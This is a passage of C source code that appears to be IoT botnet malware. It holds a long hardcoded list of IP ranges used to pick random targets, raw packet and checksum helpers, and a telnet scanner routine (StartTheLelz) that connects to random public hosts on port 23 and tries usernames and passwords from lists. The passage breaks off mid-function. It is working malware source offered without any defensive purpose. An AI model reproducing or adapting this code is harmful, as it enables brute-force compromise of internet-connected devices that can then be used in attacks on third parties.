  1037. if(randnum == 44)
  1038. {
  1039. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1040. }
  1041. if(randnum == 45)
  1042. {
  1043. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  1044. }
  1045. if(randnum == 46)
  1046. {
  1047. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  1048. }
  1049. if(randnum == 47)
  1050. {
  1051. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  1052. }
  1053. if(randnum == 48)
  1054. {
  1055. szprintf(ip, "123.25.%d.%d", ipState[3], ipState[4]);
  1056. }
  1057. if(randnum == 49)
  1058. {
  1059. szprintf(ip, "103.54.%d.%d", ipState[3], ipState[4]);
  1060. }
  1061. if(randnum == 50)
  1062. {
  1063. szprintf(ip, "27.255.%d.%d", ipState[3], ipState[4]);
  1064. }
  1065. if(randnum == 51)
  1066. {
  1067. szprintf(ip, "103.204.%d.%d", ipState[3], ipState[4]);
  1068. }
  1069. if(randnum == 52)
  1070. {
  1071. szprintf(ip, "123.24.%d.%d", ipState[3], ipState[4]);
  1072. }
  1073. if(randnum ==53)
  1074. {
  1075. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  1076. }
  1077. if(randnum == 54)
  1078. {
  1079. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  1080. }
  1081. if(randnum == 55)
  1082. {
  1083. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  1084. }
  1085. if(randnum == 56)
  1086. {
  1087. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  1088. }
  1089. if(randnum == 57)
  1090. {
  1091. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  1092. }
  1093. if(randnum == 58)
  1094. {
  1095. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  1096. }
  1097. if(randnum == 59)
  1098. {
  1099. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  1100. }
  1101. if(randnum == 60)
  1102. {
  1103. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  1104. }
  1105. if(randnum == 61)
  1106. {
  1107. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  1108. }
  1109. if(randnum == 62)
  1110. {
  1111. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  1112. }
  1113. if(randnum == 63)
  1114. {
  1115. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  1116. }
  1117. if(randnum == 64)
  1118. {
  1119. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  1120. }
  1121. if(randnum == 65)
  1122. {
  1123. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  1124. }
  1125. if(randnum == 66)
  1126. {
  1127. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  1128. }
  1129. if(randnum == 67)
  1130. {
  1131. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  1132. }
  1133. if(randnum == 68)
  1134. {
  1135. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  1136. }
  1137. if(randnum == 69)
  1138. {
  1139. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  1140. }
  1141. if(randnum == 70)
  1142. {
  1143. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  1144. }
  1145. if(randnum == 71)
  1146. {
  1147. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  1148. }
  1149. if(randnum == 72)
  1150. {
  1151. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  1152. }
  1153. if(randnum == 73)
  1154. {
  1155. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  1156. }
  1157. if(randnum == 74)
  1158. {
  1159. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  1160. }
  1161. if(randnum == 75)
  1162. {
  1163. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  1164. }
  1165. if(randnum == 76)
  1166. {
  1167. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  1168. }
  1169. if(randnum == 77)
  1170. {
  1171. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  1172. }
  1173. if(randnum == 78)
  1174. {
  1175. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  1176. }
  1177. if(randnum == 79)
  1178. {
  1179. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  1180. }
  1181. if(randnum == 80)
  1182. {
  1183. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  1184. }
  1185. if(randnum == 81)
  1186. {
  1187. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  1188. }
  1189. if(randnum == 82)
  1190. {
  1191. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  1192. }
  1193. if(randnum == 83)
  1194. {
  1195. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  1196. }
  1197. if(randnum == 84)
  1198. {
  1199. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  1200. }
  1201. if(randnum == 85)
  1202. {
  1203. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  1204. }
  1205. if(randnum == 86)
  1206. {
  1207. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  1208. }
  1209. if(randnum == 87)
  1210. {
  1211. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  1212. }
  1213. if(randnum == 88)
  1214. {
  1215. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  1216. }
  1217. if(randnum == 89)
  1218. {
  1219. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  1220. }
  1221. if(randnum == 90)
  1222. {
  1223. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  1224. }
  1225. if(randnum == 91)
  1226. {
  1227. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  1228. }
  1229. if(randnum == 92)
  1230. {
  1231. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  1232. }
  1233. if(randnum == 93)
  1234. {
  1235. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  1236. }
  1237. if(randnum == 94)
  1238. {
  1239. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  1240. }
  1241. if(randnum == 95)
  1242. {
  1243. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  1244. }
  1245. if(randnum == 96)
  1246. {
  1247. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  1248. }
  1249. if(randnum == 97)
  1250. {
  1251. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  1252. }
  1253. if(randnum == 98)
  1254. {
  1255. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  1256. }
  1257. if(randnum == 99)
  1258. {
  1259. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  1260. }
  1261. if(randnum == 100)
  1262. {
  1263. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  1264. }
  1265. if(randnum == 101)
  1266. {
  1267. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  1268. }
  1269. if(randnum == 102)
  1270. {
  1271. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  1272. }
  1273. if(randnum == 103)
  1274. {
  1275. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  1276. }
  1277. if(randnum == 104)
  1278. {
  1279. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  1280. }
  1281. if(randnum == 105)
  1282. {
  1283. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  1284. }
  1285. if(randnum == 106)
  1286. {
  1287. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  1288. }
  1289. if(randnum == 107)
  1290. {
  1291. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  1292. }
  1293. if(randnum == 108)
  1294. {
  1295. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1296. }
  1297. if(randnum == 109)
  1298. {
  1299. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  1300. }
  1301. if(randnum == 110)
  1302. {
  1303. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  1304. }
  1305. if(randnum == 111)
  1306. {
  1307. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  1308. }
  1309. if(randnum == 112)
  1310. {
  1311. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1312. }
  1313. if(randnum == 113)
  1314. {
  1315. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1316. }
  1317. if(randnum == 114)
  1318. {
  1319. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1320. }
  1321. if(randnum == 115)
  1322. {
  1323. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  1324. }
  1325. if(randnum == 116)
  1326. {
  1327. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  1328. }
  1329. if(randnum == 117)
  1330. {
  1331. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  1332. }
  1333. if(randnum == 118)
  1334. {
  1335. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  1336. }
  1337. if(randnum == 119)
  1338. {
  1339. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  1340. }
  1341. if(randnum == 120)
  1342. {
  1343. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  1344. }
  1345. if(randnum == 121)
  1346. {
  1347. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1348. }
  1349. if(randnum == 122)
  1350. {
  1351. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  1352. }
  1353. if(randnum == 123)
  1354. {
  1355. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  1356. }
  1357. if(randnum == 124)
  1358. {
  1359. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1360. }
  1361. if(randnum == 125)
  1362. {
  1363. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  1364. }
  1365. if(randnum == 126)
  1366. {
  1367. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1368. }
  1369. if(randnum == 127)
  1370. {
  1371. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  1372. }
  1373. if(randnum == 128)
  1374. {
  1375. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  1376. }
  1377. if(randnum == 129)
  1378. {
  1379. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  1380. }
  1381. if(randnum == 130)
  1382. {
  1383. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  1384. }
  1385. if(randnum == 131)
  1386. {
  1387. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  1388. }
  1389. if(randnum == 132)
  1390. {
  1391. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  1392. }
  1393. if(randnum == 133)
  1394. {
  1395. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  1396. }
  1397. if(randnum == 134)
  1398. {
  1399. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  1400. }
  1401. if(randnum == 135)
  1402. {
  1403. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  1404. }
  1405. if(randnum == 136)
  1406. {
  1407. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  1408. }
  1409. if(randnum == 137)
  1410. {
  1411. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  1412. }
  1413. if(randnum == 138)
  1414. {
  1415. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  1416. }
  1417. if(randnum == 139)
  1418. {
  1419. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  1420. }
  1421. if(randnum == 140)
  1422. {
  1423. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  1424. }
  1425. if(randnum == 141)
  1426. {
  1427. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  1428. }
  1429. if(randnum == 142)
  1430. {
  1431. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  1432. }
  1433. if(randnum == 143)
  1434. {
  1435. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1436. }
  1437. if(randnum == 144)
  1438. {
  1439. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  1440. }
  1441. if(randnum == 145)
  1442. {
  1443. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  1444. }
  1445. if(randnum == 146)
  1446. {
  1447. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  1448. }
  1449. if(randnum == 147)
  1450. {
  1451. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  1452. }
  1453. if(randnum == 148)
  1454. {
  1455. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  1456. }
  1457. if(randnum == 149)
  1458. {
  1459. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  1460. }
  1461. if(randnum == 150)
  1462. {
  1463. szprintf(ip, "175.201.%d.%d", ipState[3], ipState[4]);
  1464. }
  1465. if(randnum == 151)
  1466. {
  1467. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1468. }
  1469. if(randnum == 152)
  1470. {
  1471. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1472. }
  1473. if(randnum == 153)
  1474. {
  1475. szprintf(ip, "50.205.%d.%d", ipState[3], ipState[4]);
  1476. }
  1477. if(randnum == 154)
  1478. {
  1479. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1480. }
  1481. if(randnum == 155)
  1482. {
  1483. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1484. }
  1485. if(randnum == 156)
  1486. {
  1487. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1488. }
  1489. if(randnum == 157)
  1490. {
  1491. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1492. }
  1493. if(randnum == 158)
  1494. {
  1495. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1496. }
  1497. if(randnum == 159)
  1498. {
  1499. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1500. }
  1501. if(randnum == 160)
  1502. {
  1503. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1504. }
  1505. if(randnum == 161)
  1506. {
  1507. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1508. }
  1509. if(randnum == 162)
  1510. {
  1511. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1512. }
  1513. if(randnum == 163)
  1514. {
  1515. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1516. }
  1517. if(randnum == 164)
  1518. {
  1519. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1520. }
  1521. if(randnum == 165)
  1522. {
  1523. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1524. }
  1525. if(randnum == 166)
  1526. {
  1527. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1528. }
  1529. if(randnum == 167)
  1530. {
  1531. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1532. }
  1533. if(randnum == 168)
  1534. {
  1535. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1536. }
  1537. if(randnum == 169)
  1538. {
  1539. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1540. }
  1541. if(randnum == 171)
  1542. {
  1543. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  1544. }
  1545. if(randnum == 172)
  1546. {
  1547. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  1548. }
  1549. if(randnum == 173)
  1550. {
  1551. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  1552. }
  1553. if(randnum == 174)
  1554. {
  1555. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  1556. }
  1557. if(randnum == 175)
  1558. {
  1559. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  1560. }
  1561. if(randnum == 176)
  1562. {
  1563. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  1564. }
  1565. if(randnum == 177)
  1566. {
  1567. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  1568. }
  1569. if(randnum == 178)
  1570. {
  1571. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  1572. }
  1573. if(randnum == 179)
  1574. {
  1575. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  1576. }
  1577. if(randnum == 180)
  1578. {
  1579. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  1580. }
  1581. if(randnum == 181)
  1582. {
  1583. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  1584. }
  1585. if(randnum == 182)
  1586. {
  1587. szprintf(ip, "163.47.%d.%d", ipState[3], ipState[4]);
  1588. }
  1589. if(randnum == 183)
  1590. {
  1591. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1592. }
  1593. if(randnum == 184)
  1594. {
  1595. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  1596. }
  1597. if(randnum == 185)
  1598. {
  1599. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  1600. }
  1601. if(randnum == 186)
  1602. {
  1603. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  1604. }
  1605. if(randnum == 187)
  1606. {
  1607. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  1608. }
  1609. if(randnum == 188)
  1610. {
  1611. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  1612. }
  1613. if(randnum == 189)
  1614. {
  1615. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  1616. }
  1617. if(randnum == 190)
  1618. {
  1619. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  1620. }
  1621. if(randnum == 191)
  1622. {
  1623. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  1624. }
  1625. if(randnum == 192)
  1626. {
  1627. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  1628. }
  1629. if(randnum == 193)
  1630. {
  1631. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  1632. }
  1633. if(randnum == 194)
  1634. {
  1635. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  1636. }
  1637. if(randnum == 195)
  1638. {
  1639. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  1640. }
  1641. if(randnum == 196)
  1642. {
  1643. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  1644. }
  1645. if(randnum == 197)
  1646. {
  1647. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  1648. }
  1649. if(randnum == 198)
  1650. {
  1651. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  1652. }
  1653. if(randnum == 199)
  1654. {
  1655. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  1656. }
  1657. if(randnum == 200)
  1658. {
  1659. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  1660. }
  1661. if(randnum == 201)
  1662. {
  1663. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  1664. }
  1665. if(randnum == 201)
  1666. {
  1667. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  1668. }
  1669. if(randnum == 202)
  1670. {
  1671. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  1672. }
  1673. if(randnum == 203)
  1674. {
  1675. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  1676. }
  1677. if(randnum == 204)
  1678. {
  1679. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  1680. }
  1681. if(randnum == 205)
  1682. {
  1683. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  1684. }
  1685. if(randnum == 206)
  1686. {
  1687. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  1688. }
  1689. if(randnum == 207)
  1690. {
  1691. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  1692. }
  1693. if(randnum == 208)
  1694. {
  1695. szprintf(ip, "50.233.%d.%d", ipState[3], ipState[4]);
  1696. }
  1697.  
  1698.  
  1699. return inet_addr(ip);
  1700. }
  1701.  
  1702. in_addr_t GetRandomIP(in_addr_t netmask)
  1703. {
  1704. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1705. return tmp ^ ( rand_cmwc() & ~netmask);
  1706. }
  1707.  
  1708. unsigned short csum (unsigned short *buf, int count)
  1709. {
  1710. register uint64_t sum = 0;
  1711. while( count > 1 ) { sum += *buf++; count -= 2; }
  1712. if(count > 0) { sum += *(unsigned char *)buf; }
  1713. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1714. return (uint16_t)(~sum);
  1715. }
  1716.  
  1717. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1718. {
  1719.  
  1720. struct tcp_pseudo
  1721. {
  1722. unsigned long src_addr;
  1723. unsigned long dst_addr;
  1724. unsigned char zero;
  1725. unsigned char proto;
  1726. unsigned short length;
  1727. } pseudohead;
  1728. unsigned short total_len = iph->tot_len;
  1729. pseudohead.src_addr=iph->saddr;
  1730. pseudohead.dst_addr=iph->daddr;
  1731. pseudohead.zero=0;
  1732. pseudohead.proto=IPPROTO_TCP;
  1733. pseudohead.length=htons(sizeof(struct tcphdr));
  1734. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1735. unsigned short *tcp = malloc(totaltcp_len);
  1736. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1737. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1738. unsigned short output = csum(tcp,totaltcp_len);
  1739. free(tcp);
  1740. return output;
  1741. }
  1742.  
  1743. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1744. {
  1745. iph->ihl = 5;
  1746. iph->version = 4;
  1747. iph->tos = 0;
  1748. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1749. iph->id = rand_cmwc();
  1750. iph->frag_off = 0;
  1751. iph->ttl = MAXTTL;
  1752. iph->protocol = protocol;
  1753. iph->check = 0;
  1754. iph->saddr = source;
  1755. iph->daddr = dest;
  1756. }
  1757.  
  1758. int sclose(int fd)
  1759. {
  1760. if(3 > fd) return 1;
  1761. close(fd);
  1762. return 0;
  1763. }
  1764. int socket_connect(char *host, in_port_t port) {
  1765. struct hostent *hp;
  1766. struct sockaddr_in addr;
  1767. int on = 1, sock;
  1768. if ((hp = gethostbyname(host)) == NULL) return 0;
  1769. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1770. addr.sin_port = htons(port);
  1771. addr.sin_family = AF_INET;
  1772. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1773. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1774. if (sock == -1) return 0;
  1775. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  1776. return 0;
  1777. return sock;
  1778. }
  1779.  
  1780. void StartTheLelz(int wait_usec, int maxfds)
  1781. {
  1782. int i, res, num_tmps, j;
  1783. char buf[128], cur_dir;
  1784.  
  1785. int max = maxfds;
  1786. fd_set fdset;
  1787. struct timeval tv;
  1788. socklen_t lon;
  1789. int valopt;
  1790.  
  1791. srand(time(NULL) ^ rand_cmwc());
  1792.  
  1793. char line[256];
  1794. char* buffer;
  1795. struct sockaddr_in dest_addr;
  1796. dest_addr.sin_family = AF_INET;
  1797. dest_addr.sin_port = htons(23);
  1798. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1799.  
  1800. buffer = malloc(BUFFER_SIZE + 1);
  1801. memset(buffer, 0, BUFFER_SIZE + 1);
  1802.  
  1803. struct telstate_t fds[max];
  1804.  
  1805.  
  1806. memset(fds, 0, max * (sizeof(int) + 1));
  1807. for(i = 0; i < max; i++)
  1808. {
  1809. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1810. fds[i].complete = 1;
  1811. fds[i].sockbuf = buffer;
  1812. }
  1813. for(num_tmps = 0; tmpdirs[++num_tmps] != 0; );
  1814.  
  1815.  
  1816.  
  1817. while(1)
  1818. {
  1819. for(i = 0; i < max; i++)
  1820. {
  1821. if(fds[i].totalTimeout == 0)
  1822. {
  1823. fds[i].totalTimeout = time(NULL);
  1824. }
  1825.  
  1826. switch(fds[i].state)
  1827. {
  1828. case 0:
  1829. {
  1830. if(fds[i].complete == 1)
  1831. {
  1832. // clear the current fd
  1833. char *tmp = fds[i].sockbuf;
  1834. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1835. fds[i].sockbuf = tmp;
  1836. // get a new random ip
  1837. fds[i].ip = GetRandomPublicIP();
  1838. }
  1839. else if(fds[i].complete == 0)
  1840. {
  1841. fds[i].passwordInd++;
  1842. fds[i].usernameInd++;
  1843.  
  1844. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *))
  1845. {
  1846. fds[i].complete = 1;
  1847. continue;
  1848. }
  1849. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *))
  1850. {
  1851. fds[i].complete = 1;
  1852. continue;
  1853. }
  1854. }
  1855.  
  1856. dest_addr.sin_family = AF_INET;
  1857. dest_addr.sin_port = htons(23);
  1858. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1859. dest_addr.sin_addr.s_addr = fds[i].ip;
  1860.  
  1861. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1862.  
  1863. if(fds[i].fd == -1) continue;
  1864.  
  1865. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1866.  
  1867. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS)
  1868. {
  1869. reset_telstate(&fds[i]);
  1870. }
  1871. else
  1872. {
  1873. advance_state(&fds[i], 1);
  1874. }
  1875. }
  1876. break;
  1877. case 1:
  1878. {
  1879. FD_ZERO(&fdset);
  1880. FD_SET(fds[i].fd, &fdset);
  1881. tv.tv_sec = 0;
  1882. tv.tv_usec = wait_usec;
  1883. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1884.  
  1885. if(res == 1)
  1886. {
  1887. lon = sizeof(int);
  1888. valopt = 0;
  1889. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1890. //printf("%d\n",valopt);
  1891. if(valopt)
  1892. {
  1893. reset_telstate(&fds[i]);
  1894. }
  1895. else
  1896. {
  1897. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1898. advance_state(&fds[i], 2);
  1899. }
  1900. continue;
  1901. }
  1902. else if(res == -1)
  1903. {
  1904. reset_telstate(&fds[i]);
  1905. continue;
  1906. }
  1907.  
  1908. if(fds[i].totalTimeout + 5 < time(NULL))
  1909. {
  1910. reset_telstate(&fds[i]);
  1911. }
  1912. }
  1913. break;
  1914.  
  1915. case 2:
  1916. {
  1917. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1918. {
  1919. if(contains_fail(fds[i].sockbuf))
  1920. {
  1921. advance_state(&fds[i], 0);
  1922. }
  1923. else
  1924. {
  1925. advance_state(&fds[i], 3);
  1926. }
  1927.  
  1928. continue;
  1929. }
  1930.  
  1931. if(fds[i].totalTimeout + 7 < time(NULL))
  1932. {
  1933. reset_telstate(&fds[i]);
  1934. }
  1935. }
  1936. break;
  1937.  
  1938. case 3:
  1939. {
  1940. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0)
  1941. {
  1942. reset_telstate(&fds[i]);
  1943. continue;
  1944. }
  1945.  
  1946. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1947. {
  1948. reset_telstate(&fds[i]);
  1949. continue;
  1950. }
  1951.  
  1952. advance_state(&fds[i], 4);
  1953. }
  1954. break;
  1955.  
  1956. case 4:
  1957. {
  1958. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1959. {
  1960. if(contains_fail(fds[i].sockbuf))
  1961. {
  1962. advance_state(&fds[i], 0);
  1963. }
  1964. else
  1965. {
  1966. advance_state(&fds[i], 5);
  1967. }
  1968. continue;
  1969. }
  1970.  
  1971. if(fds[i].totalTimeout + 3 < time(NULL))
  1972. {
  1973. reset_telstate(&fds[i]);
  1974. }
  1975. }
  1976. break;
  1977.  
  1978. case 5:
  1979. {
  1980. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0)
  1981. {
  1982. reset_telstate(&fds[i]);
  1983. continue;
  1984. }
  1985.  
  1986. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0)
  1987. {
  1988. reset_telstate(&fds[i]);
  1989. continue;
  1990. }
  1991.  
  1992. advance_state(&fds[i], 6);
  1993. }
  1994. break;
  1995.  
  1996. case 6:
